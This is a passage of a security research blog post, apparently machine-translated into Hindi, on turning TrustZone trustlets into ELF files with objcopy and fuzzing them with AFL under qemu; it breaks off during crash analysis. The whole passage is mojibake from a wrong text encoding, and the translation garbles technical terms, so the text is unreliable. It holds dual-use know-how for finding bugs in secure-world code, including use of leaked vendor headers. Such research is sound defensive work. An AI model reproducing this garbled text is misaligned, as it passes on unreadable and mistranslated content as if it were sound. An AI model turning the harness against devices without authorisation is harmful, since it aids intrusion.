рдпреЛрдЬрдирд╛ рдореЗрдВ рдЬреЛрдбрд╝реЗрдВред
- рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрд┐рдВрджреБ, рдЕрдиреБрднрд╛рдЧ рдкрддреЗ рдФрд░ WSM рдмрдлрд░ рдЖрдХрд╛рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░реЗрдВред
рдпреЛрдЧрд┐рдиреА рд▓реАрдЬрд┐рдП
1) рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ
рдпреЛрдЬрдирд╛ рдореЗрдВ рдкрд╣рд▓рд╛ рдЖрдЗрдЯрдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИред рдЗрд╕реЗ рд╣рдорд╛рд░реЗ рд╕реНрд░реЛрдд ELF рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП main
рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
typedef void (*tlMain_t)(const void* tciBuffer, const uint32_t tciBufferLen); tlMain_t tlMain = sym_tlMain; tlMain(tciBuffer, tciBufferLen);
рд╣рдо рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдлрд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
$(CC) $(INCLUDE) -g -c tlrun.c
sym_tlMain
рдХреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ objcopy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
arm-linux-gnueabi-objcopy --add-symbol sym_tlMain=$(TLMAIN) tlrun.o tlrun.o.1
рдирддреАрдЬрддрди, рд╣рдореЗрдВ tlrun.o.1
рдорд┐рд▓рддрд╛ рд╣реИ - main
рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдВрдХрд▓рд┐рдд рд╕реНрд░реЛрдд рдЬреЛ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛрдб рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред
2) рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдп
рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкрд╣рд▓реЗ рд╣рдореЗрдВ рдЗрди рд╕рднреА рдХрд╛рд░реНрдпреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЙрдирдХреЗ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдореЛрдмрд╛рдЗрд▓ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдХреЗ рдПрдХ рд╕рдореВрд╣ рдХреЗ рд╕рд╛рде рдХреНрд╡рд╛рд▓рдХреЙрдо рд╕реЗ рдПрдХ рд░рд┐рд╕рд╛рд╡ рдерд╛ред рдЗрди рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдореЗрдВ рдХреБрдЫ рдЪрд┐рддреНрд░, рд╣реЗрдбрд░ рдлрд╛рдЗрд▓реЗрдВ рдФрд░ рдореЛрдмрд╛рдЗрд▓ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдШрдЯрдХреЛрдВ рдХреЗ рдбрд┐рдмрдЧ рдЪрд┐рддреНрд░ рднреА рдереЗред рд╡рд╣рд╛рдВ рд╕реЗ рд╣рдордиреЗ рдЙрдирдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕рд╛рде рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рд▓рд┐рдП, рдкреНрд░реЗрд╖рдг рд╕рдорд╛рд░реЛрд╣ рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ред рдПрдХ рдЬреНрдЮрд╛рдд рдЙрджреНрджреЗрд╢реНрдп рдЬреИрд╕реЗ tlApiMalloc
рдпрд╛ tlApiLogvPrintf
рдЬреИрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП tlApiLogvPrintf
рд╣рдордиреЗ рдЗрд╕реА рддрд░рд╣ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ libc рд╕реЗ рдХрд┐рдпрд╛ рд╣реИред рдФрд░ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдЗрддрдиреЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ tlApiSecSPICmd
рдХреЛ рд╕рд░рд▓ рд╕реНрдЯрдмреНрд╕ рдХреЗ рд╕рд╛рде рдмрджрд▓ рджрд┐рдпрд╛ рд╣реИ рдЬреЛ рдЕрдкрдирд╛ рдирд╛рдо рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдУрдХреЗ рд╕реНрдерд┐рддрд┐ рд╡рд╛рдкрд╕ рдХрд░рддреЗ рд╣реИрдВред рд╕рдВрдкреВрд░реНрдг API tllib.o
рд╕рдВрдХрд▓рд┐рдд рд╣реИ
$(CC) $(INCLUDE) -g -c tllib.c
3) рдбрд┐рд╕реНрдкреИрдЪ рдлрд╝рдВрдХреНрд╢рди
рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рдХреЗ рдкрддреЗ рдХреЗ рд╕рдорд╛рди, рдкреНрд░рддреАрдХ рдЬреЛрдбрд╝реЗрдВ, рдЗрд╕рдХрд╛ рдкрддрд╛ рд╕рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╣реИ:
arm-linux-gnueabi-objcopy --add-symbol sym_tlApiLibEntry=0x108c tlrun.o tlrun.o.1
рд╢реЗрдбреНрдпреВрд▓рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рддреБрдЪреНрдЫ рд╣реИред рдХреЗрд╡рд▓ рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдЗрд╕рдХрд╛ рдкрддрд╛ рд╣реЗрдбрд░ рдореЗрдВ рд▓рд┐рдЦрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪреВрдВрдХрд┐ рд╣рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рдкрддрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рднреЗрдЬрдиреЗ рдФрд░ рд╢реБрд░реВ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рд╣рдорд╛рд░рд╛ рдкреНрд░реЗрд╖рдг рд╕рдорд╛рд░реЛрд╣ рдХрд┐рд╕ рдкрддреЗ рдкрд░ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдЕрдкрдирд╛ рдкрддрд╛ рд░рдирдЯрд╛рдЗрдо рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд╣реЗрдбрд░ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, main
рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╢реБрд░реВ рдХрд░рддреЗ рд╕рдордпред
void (*sym_tlApiLibEntry)(int num) __attribute__((weak)); void tlApiLibEntry(int num) __attribute__((noplt)); __attribute__((constructor)) void init() { sym_tlApiLibEntry = tlApiLibEntry; }
рек) рдзрд╛рд░рд╛
рдСрдмреНрдЬреЗрдХреНрдЯ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЕрдиреБрднрд╛рдЧ рдЬреЛрдбрд╝реЗрдВ, рд╣рдо objcopy
рднреА рдЙрдкрдпреЛрдЧ objcopy
ред
arm-linux-gnueabi-objcopy --add-section .tlbin_text=.text.bin \ --set-section-flags .tlbin_text=code,contents,alloc,load \ --add-section .tlbin_data=.data.bin \ --set-section-flags .tlbin_data=contents,alloc,load \ --add-section .tlbin_bss=.bss.bin \ --set-section-flags .tlbin_bss=contents,alloc,load \ tlrun.o.1 tlrun.o.2
рдпрд╣рд╛рдБ .tlbin_text
рдХреЗ рд╕реЗрдХреНрд╢рди рдХрд╛ рдирд╛рдо рд╣реИ, рдФрд░ .text.bin
рдЗрд╕ рд╕реЗрдХреНрд╢рди рдХреЗ рдбрдВрдк рд╡рд╛рд▓реА рдлрд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рд╣реИред рдЖрдк рдЙрд╕реА IDA рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рд░реВрдкрд╛рдВрддрд░рдг рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕реНрд░реЛрдд рдИрдПрд▓рдПрдл рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдмрд╛рдЗрдирд░реА рдЯреНрд░рд╕реНрдЯ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛ред
5) рд╕реНрд╡рдЪрд╛рд▓рди
рдкреВрд░реЗ рд╡рд┐рдзрд╛рдирд╕рднрд╛ рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рд╕рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдбрд╝реЗ рдореЗрдХрдлрд╛рдЗрд▓ рдХреЙрдорди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдФрд░ рдПрдХ рдЫреЛрдЯреЗ рд╕реЗ рдПрдХ, рдЗрд╕рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддреНрдпреЗрдХ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд▓рд┐рдП рдЗрд╕рд╕реЗ рдЬреБрдбрд╝рд╛ред рдкреНрд░рддреНрдпреЗрдХ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрд┐рдВрджреБ, рдЕрдиреБрднрд╛рдЧ рдкрддреЗ рдФрд░ WSM рдмрдлрд░ рдЖрдХрд╛рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдкрд╣рд▓реЗ рджреЛ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдЖрдИрдбреАрдП рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ, рдФрд░ рдмрдлрд░ рдХреЗ рдЖрдХрд╛рд░ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрднреА-рдХрднреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрддрдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЖрдк рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдЖрдк рдЕрдкрдиреЗ рдХреЛрдб рдХрд╛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рд╕рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 10 рдорд┐рдирдЯ рдЦрд░реНрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдЖрдкрдХреЗ рдЫреЛрдЯреЗ рдореЗрдХрдлрд╛рдЗрд▓ рдореЗрдВ рдЪрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
TLMAIN := 0x98F5D TLTEXT := 1000 TLDATA := c0000 TLBSS := c10e0 TLTCI_LEN := 4096
рдФрд░ рдПрдХ рдмрдбрд╝реЗ Makefile рдореЗрдВ, рдЗрди рдорд╛рдкрджрдВрдбреЛрдВ рдХрд╛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
$(CC) $(INCLUDE) -g -DTCILEN=$(TLTCI_LEN) -c tlrun.c # ... $(CC) -g tlrun.o.2 tllib.o --section-start=.tlbin_text=$(TLTEXT),--section-start=.tlbin_data=$(TLDATA),--section-start=.tlbin_bss=$(TLBSS) -o tlrun
рдЗрд╕рд▓рд┐рдП, рд╣рдордиреЗ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЗ рд╕рд╣реА рд╕реНрдерд╛рди рдФрд░ рд╣реЗрдбрд░ рдореЗрдВ рд╕рд╣реА рдкрддреЗ рдХреЗ рд╕рд╛рде рдПрдХ рдИрдПрд▓рдПрдл рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ред рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рдореЗрдВ, рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХреНрд░рд┐рдпрд╛рдиреНрд╡рд┐рдд рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЖрдЧреЗ рднреА рдлрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЦреИрд░, рдЗрд╕реЗ рдмрд╛рд╣рд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ!
fuzzing
рдЪреВрдВрдХрд┐ AFL рдЧреИрд░-рджреЗрд╢реА рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП qemu рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдПрдХ рд╢реБрд░реБрдЖрдд рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рд╣рдорд╛рд░рд╛ рдпреЛрдЧрд┐рдиреА рдПрдореБрд▓реЗрдЯрд░ рдХреЗ рдиреАрдЪреЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдФрд░ рдлрд┐рд░ рд╕рдорд╕реНрдпрд╛рдПрдВ рддреБрд░рдВрдд рд╢реБрд░реВ рд╣реБрдИрдВред
рд╕рдорд╕реНрдпрд╛ рдирдВрдмрд░ 1: рдЯреВрд▓рдЪрд┐рдирдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рдЖрд░реНрдо-рд▓рд╛рдЗрдирдХреНрд╕-рдЧреНрдиреВрдПрдмреАрд╣ рдЯреВрд▓рдХрд┐рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред рдЕрдВрдд рдореЗрдВ "hf" рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╕рдВрдХрд▓рдХ ARM рдкреНрд░реЛрд╕реЗрд╕рд░ рдореЗрдВ рд╣рд╛рд░реНрдб рдлреНрд▓реЛрдЯ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рд╕рдкреЛрд░реНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЬрдм рдореИрдВрдиреЗ рдХреНрдпреВрдореВ рдПрдореБрд▓реЗрдЯрд░ рдХреЗ рддрд╣рдд рд╣рдорд╛рд░реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рддреЛ рдпрд╣ рддреБрд░рдВрдд "рд╕реЗрдЧрдореЗрдВрдЯреЗрд╢рди рдлрд╝реЙрд▓реНрдЯ" рдЬрд╛рд░реА рдХрд░рддреЗ рд╣реБрдП рджреБрд░реНрдШрдЯрдирд╛рдЧреНрд░рд╕реНрдд рд╣реЛ рдЧрдпрд╛ред рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рд╣рдорд╛рд░реЗ рдХреЛрдб рдореЗрдВ рдХрд╣реАрдВ рднреА рдлреНрд▓реЛрдЯрд┐рдВрдЧ-рдкреЙрдЗрдВрдЯ рдирдВрдмрд░реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕ рджреБрд░реНрдШрдЯрдирд╛ рдХрд╛ рдХрд╛рд░рдг рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдордЭ рд╕реЗ рдмрд╛рд╣рд░ рдерд╛ред рдереЛрдбрд╝рд╛ рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдордиреЗ рд╣рд╛рд░реНрдб рдлреНрд▓реЛрдЯ рдЖрд░реНрдо-рд▓рд╛рдЗрдирдХреНрд╕-рдЧреНрдиреБрдЖрдмреА рдХреЗ рдмрд┐рдирд╛ рдЯреВрд▓рдХрд┐рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рдФрд░ рд╣рдо рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ! рдлрд╝рд╛рдЗрд▓ рдиреЗ рдХрд╛рдо рдХрд┐рдпрд╛, рдФрд░ рдЗрд╕рд╕реЗ рдЖрдЙрдЯрдкреБрдЯ рдХрдВрд╕реЛрд▓ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд▓рдЧрд╛ред

рддреЛ рдЖрдк рдлрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо AFL рдФрд░ рдпрд╣рд╛рдБ рд╢реБрд░реВ ...
рд╕рдорд╕реНрдпрд╛ рд╕рдВрдЦреНрдпрд╛ 2: рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди
рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ, рдПрдПрдлрдПрд▓ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдирд╣реАрдВ рджреЗрдЦрддрд╛ рд╣реИред рдкрд╣рд▓реЗ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдерд╛ рдХрд┐ рд╕рдорд╕реНрдпрд╛ рдХреНрдпрд╛ рдереАред qemu рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, -Q рд╡рд┐рдХрд▓реНрдк (qemu рдореЛрдб) рд╕реЗрдЯ рд╣реИред рдХреЛрд╕рддреЗ рд╣реБрдП, рдореБрдЭреЗ рдХреНрдпреВрдореВ рдХреЗ рд▓рд┐рдП рдПрдПрдлрдПрд▓ рдкреИрдЪ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ рдЬрд╛рдирд╛ рдкрдбрд╝рд╛ред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдПрдПрдлрдПрд▓ рдкреИрдЪ рдореЗрдВ, рдИрдПрд▓рдПрдл рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╕рдордп, рдХреНрдпреВрдореВ рдХреЛрдб рд╕реЗрдХреНрд╢рди рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрди рдкрддреЗ рдХреА рд╕реАрдорд╛рдУрдВ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдпрд╣ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдХрд╛ рдЙрддреНрдкрд╛рджрди рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдХрдИ рдХреЛрдб рд╕реЗрдХреНрд╢рди рд╣реИрдВ, рддреЛ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЙрдирдореЗрдВ рд╕реЗ рдкрд╣рд▓рд╛ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯ рд╣реЛрдЧрд╛ред рдпрд╣ рдПрдХ рдмрдЧ рдпрд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рджреЛ рдХреЛрдб рдЕрдиреБрднрд╛рдЧ рд╣реИрдВ, рдФрд░ рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ - рдореБрдЦреНрдп - рджреВрд╕рд░реЗ рдореЗрдВ рд╣реИред рдЬрд╛рд╣рд┐рд░ рд╣реИ, рд╡рд╣ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдореЗрдВ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдирд╣реАрдВ рджреЗрдЦрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рджреВрд╕рд░реЗ рдЦрдВрдб рдореЗрдВ рдирд╣реАрдВ рд╣реИ! рд╕реНрд░реЛрдд рд╕реЗ рдЖрдЧреЗ рдКрди, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЬрдм рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ AFL_INST_LIBS рдЪрд╛рд▓реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рд╕реАрдорд╛рдПрдВ рдЕрдирдВрдд рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред рдЗрд╕реЗ рдЪрд╛рд▓реВ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВред

рдлрдЬреАрд╣рдд рдХрд╛ рдХрд╛рдо!
рд╡рд┐рдЪрд╛рд░ рдкрдХреНрдХрд╛ рд╣реЛ рдЧрдпрд╛! рд╣рдордиреЗ рдХрд╕реНрдЯрдо рдкреНрд░рд╛рд░реВрдк рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдлрд╝рдЬрд╝рд┐рдВрдЧ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ред рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд╣ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреА рджреБрд░реНрдШрдЯрдирд╛ рднреА рдкрд╛рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдмрд╛рдпрдиреЗрд░рд┐рдЬрд╝ рдХреЛ рдлреБрд▓ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рддрд░реАрдХрд╛ рдорд┐рд▓рд╛, рдЙрдирдХреЗ рдХреЛрдб рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЛ рдкрдХрдбрд╝рдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рдЪрд▓рд╛рдирд╛ рдФрд░ рдореМрдЬреВрджрд╛ рдЯреВрд▓ рдХреЗ рд╕рд╛рде рдЖрд╕рд╛рдиреА рд╕реЗ рдбрд┐рдмрдЧ рдХрд░рдирд╛ред рдХреНрд▓рд╛рд╕!
рдХрдИ рджрд┐рдиреЛрдВ рддрдХ рд╣рдордиреЗ рд╕рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреА рдлрдЬреАрд╣рдд рдХреАред рдирддреАрдЬрддрди, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ рдЬрдирд░реЗрдЯрд┐рдВрдЧ рдХреНрд░реИрд╢ рдереЗ, рдФрд░ рдЗрди рд╕рднреА рдХреНрд░реИрд╢ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдпред
рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд╛ рдХреНрд░реИрд╢
рдХреБрд▓ 23 рдЯреНрд░рд╕реНрдЯреЛрдВ рдХреЗ рд▓рд┐рдП AFL рдиреЗ 477 рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдХреЛ рджреБрд░реНрдШрдЯрдирд╛рдЧреНрд░рд╕реНрдд рдкрд╛рдпрд╛ред рдПрдХ рдмрдбрд╝реА рд░рд╛рд╢рд┐ рдЬрд┐рд╕реЗ рдореИрдВ рдмрд┐рд▓реНрдХреБрд▓ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдХреЗ рдЗрд╕ рд╕реЗрдЯ рдХреЗ рдмреАрдЪ, рд▓рдЧрднрдЧ рд╕рдорд╛рди 